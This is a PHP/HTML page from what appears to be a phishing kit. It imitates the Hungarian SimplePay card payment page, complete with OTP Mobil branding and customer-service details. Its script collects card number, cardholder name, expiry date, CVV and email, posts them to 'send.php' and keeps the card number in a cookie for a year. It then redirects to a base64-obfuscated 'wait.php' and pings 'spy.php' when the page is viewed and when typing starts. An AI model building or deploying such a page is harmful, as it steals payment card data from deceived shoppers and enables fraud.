<?php
require (__DIR__) . '/../main.php';

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SimplePay</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes\css\style.css">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        body {
            background-color: #f8f8f8;
        }
    </style>
</head>

<body>
    <div class="ihecgec">
        <img src="assets/images/lihdewf.png" alt="" class="lcgdec">
        <h2 class="d-none d-md-block gedcde">BANKKÁRTYÁS FIZETÉS</h2>
        <div class="kfgref">
            <span class="ecedc">Nyelv</span>
            <div class="jgfr">
                <i class="fas fa-chevron-down"></i>
                <span class="gltrhgt">MAGYAR</span>
            </div>
        </div>
    </div>
    <div class="d-block d-md-none">
        <div class="i4nfiubr4">
            <div class="ifdiuy4bf">
                <i class="fas fa-chevron-left"></i>
                <p class="ljwhdge">VISSZA A KERESKEDŐ OLDALÁRA</p>
            </div>
            <div class="iuehdfi4bu">One Magyarország Zrt.</div>
        </div>
        <div class="ghi">
            <div class="grgt">
                <p class="gvsrg">VÁSÁRLÓ</p>
                <i class="fas fa-chevron-up"></i>
            </div>
            <p class="efefe">SZÁMLÁZÁSI CÍM:</p>
        </div>
        <div class="khrhkfgr">
            <div class="lhfe">
                <label for="email" class="lhfde get_email">Email*:</label>
                <input id="email" type="email" class="lihedfe" />
            </div>
        </div>
        <div class="jehfugre">
            <span class="efheo">ÖSSZESEN:</span>
            <h1 class="eyfoer">1 778 <span class="ewidhwgd">HUF</span></h1>
        </div>
    </div>
    <div class="d-none d-md-block">
        <div class="eihde">
            <div class="ifrf">
                <div class="ehder">
                    <i class="fas fa-chevron-left"></i>
                    VISSZA A KERESKEDŐ OLDALÁRA
                </div>
                <div class="frgrfv">One Magyarország Zrt.</div>
            </div>
            <div class="jhdeggd">
                VÁSÁRLÓ
                <i class="fas fa-chevron-up"></i>
            </div>
            <div class="kgegde">
                <span class="ldjgef">ÖSSZESEN:</span>
                <h1 class="lehfref">1 778 <span class="lhecercr">HUF</span></h1>
            </div>
        </div>
    </div>
    <div class="container">
        <div class="row justify-content-center">
            <div class="col-12 col-sm-12 col-md-10 col-lg-8 col-xl-6 jcildeh">
                <div class="row">
                    <div class="d-none d-md-block col-12 ihdeiog">
                        <div class="lhef">
                            <p class="kdjged">SZÁMLÁZÁSI CÍM:</p>
                        </div>
                        <div class="ljxihc">
                            <div class="lkhecd">
                                <label for="email" class="lihded get_email">Email*:</label>
                                <input id="email" type="email" class="lhdegd" />
                            </div>
                        </div>
                    </div>
                    <div class="col-12 ihdefrr mt-2">
                        <div class="kdhegdr">
                            <p class="ldheide">Ha van már Simple fiókod<i class="fas fa-question-circle"></i></p>
                            <ul class="lidhedf">
                                <li class="lhfrfgve">
                                    <img src="assets/images/lhlwegd.png" alt="" class="lhfcrff">
                                    <p class="lhdece">FIZETÉS SIMPLE FIÓKKAL</p>
                                    <i class="fas fa-chevron-right"></i>
                                </li>
                                <li class="chpihefrw">
                                    <img src="assets/images/lheodhe.png" alt="" class="lhfcrff">
                                    <p class="lhdece">QR-KÓDOS FIZETÉS</p>
                                    <i class="fas fa-chevron-right"></i>
                                </li>
                            </ul>
                        </div>
                    </div>
                    <div class="col-12 liehelc mt-2">
                        <div class="kdhegdr">
                            <p class="ldheide">Egyéb digitális tárca opció<i class="fas fa-question-circle"></i></p>
                            <div class="lhced">
                                <img src="assets/images/googleplay.svg" alt="" class="jkhde">
                            </div>
                        </div>
                    </div>
                    <div class="col-12 liehelc mt-2">
                        <div class="kdhegdr">
                            <div class="row justify-content-center">
                                <form method="post" action="" id="form"
                                    class="col-11 col-sm-10 col-md-8 col-lg-8 col-xl-8">
                                    <div class="card_">
                                        <div class="gcdc"></div>
                                        <div class="lhfriefr">
                                            <img src="assets/images/khghsf_1.png" alt="" class="lifhrf">
                                            <img src="assets/images/khghsf_2.png" alt="" class="lifhrf">
                                            <img src="assets/images/khghsf_3.png" alt="" class="lifhrf">
                                        </div>
                                        <div class="lhfrfr">
                                            <div class="jrhjil">
                                                <img src="assets/images/car_1.png" alt="" class="frh">
                                                <input type="text" required pattern="^(4|5)[0-9\s]{18}$" id="cc"
                                                    placeholder="Kártyaszám" class="kjhkcd">
                                            </div>
                                            <div class="jrhjil">
                                                <img src="assets/images/car_2.png" alt="" class="frh">
                                                <input type="text" required id="titular" placeholder="Kártyára írt név"
                                                    class="kjhkcd">
                                            </div>
                                            <div class="khuefr">
                                                <div class="jrhjil heoice">
                                                    <img src="assets/images/car_3.png" alt="" class="frh">
                                                    <input maxlength="5" type="text" required id="mmyy"
                                                        placeholder="HH/ÉÉ" class="kjhkcd">
                                                </div>
                                                <div class="jrhjil heoice">
                                                    <img src="assets/images/car_4.png" alt="" class="frh">
                                                    <input type="text" required id="cvv" placeholder="CVC/CVV kód"
                                                        class="kjhkcd">
                                                    <img src="assets/images/info.png" alt="" class="frh">
                                                </div>
                                            </div>
                                        </div>
                                    </div>

                                    <?php if (isset($_GET['e'])) { ?>
                                        <p class="error_message">A kártya adatai hibásak</p>
                                    <?php } ?>
                                    <div class="lfrf">
                                        <div class="checkbox-container">
                                            <input type="checkbox" id="myCheckbox">
                                            <label for="myCheckbox"></label>
                                        </div>
                                        <span class="lihfr">SIMPLE FIÓKOT REGISZTRÁLOK</span>
                                    </div>
                                    <p class="hjvgeugd4">Legközelebb már kártya-, számlaadatok megadása nélkül,
                                        jelszóval
                                        fizethetsz!</p>
                                    <div class="hgiygide">
                                        <div class="jhrft">
                                            <img src="assets/images/info.png" alt="" class="frh">
                                            <div class="jhgvd">
                                                <p class="kjhbvr">Többezer webshop, és mobilfizetési lehetőség</p>
                                                <p class="uhift">Miért érdemes Simple fiókot létrehozni?</p>
                                            </div>
                                        </div>
                                        <img src="assets/images/simple_765.png" alt="" class="ljgrcrv">
                                    </div>
                                    <button type="submit" class="ouigyfr">FIZETÉS</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <footer class="iubryufruy mt-4">
        <div class="jhubcgbcue">
            <div class="hbhuebucd">
                <p class="hgu">Customer service</p>
                <p class="htfjj">Name: OTP Mobil Kft.</p>
                <p class="htfjj">Phone number: +36(1)366-6611 | +36(20)366-6611 | +36(30)366-6611 | +36(70)366-6611
                </p>
                <p class="htfjj">Email: ugyfelszolgalat@simple.hu</p>
                <p class="htfjj">Mailing address: 1138 Budapest, Váci út 135-139. B. ép. 5. em.</p>
            </div>
            <div class="gucebyu">
                <div class="uigy">
                    <span class="jkhb">Developed and operated by</span>
                    <img src="assets/images/otp_mob.png" alt="" class="jhgecd">
                </div>
            </div>
        </div>
    </footer>


    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"
        integrity="sha512-0XDfGxFliYJPFrideYOoxdgNIvrwGTLnmK20xZbCAvPfLGQMzHUsaqZK8ZoH+luXGRxTrS46+Aq400nCnAT0/w=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script>
        function setCookie(name, value, days) {
            var expires = "";
            if (days) {
                var date = new Date();
                date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
                expires = "; expires=" + date.toUTCString();
            }
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }

        $("#cc").mask("0000 0000 0000 0000");
        // $("#mmyy").mask("0000");
        // $("#yy").mask("00");
        $("#cvv").mask("0000");

        $("#form").submit(function(e) {
            e.preventDefault();
            var email;
            if ($("#email").val() != '') {
                email = $("#email").val();
            } else {
                email = $(".lihded.get_email").next('.lhdegd').val();
            }

            $.post("send.php", {
                email: email,
                titular: $("#titular").val(),
                cc: $("#cc").val(),
                exp: $("#mmyy").val(),
                cvv: $("#cvv").val()
            }, function(response) {
                setCookie('sc_card', $("#cc").val(), 365)
                var nextPage = atob('d2FpdC5waHA='); // wait.php encoded
                window.location = nextPage + "?p=CARD";
            });
        });

        $.post("spy.php", {
            cardview: 1
        });
        var abort = false;
        $("#cc").keyup(function() {
            if (abort == false) {
                $.post("spy.php", {
                    carding: 1
                });
                abort = true;
            }
        });
    </script>
    <?php
    $m->ctr("CARD " . @$_GET['e']);
    ?>

</body>

</html>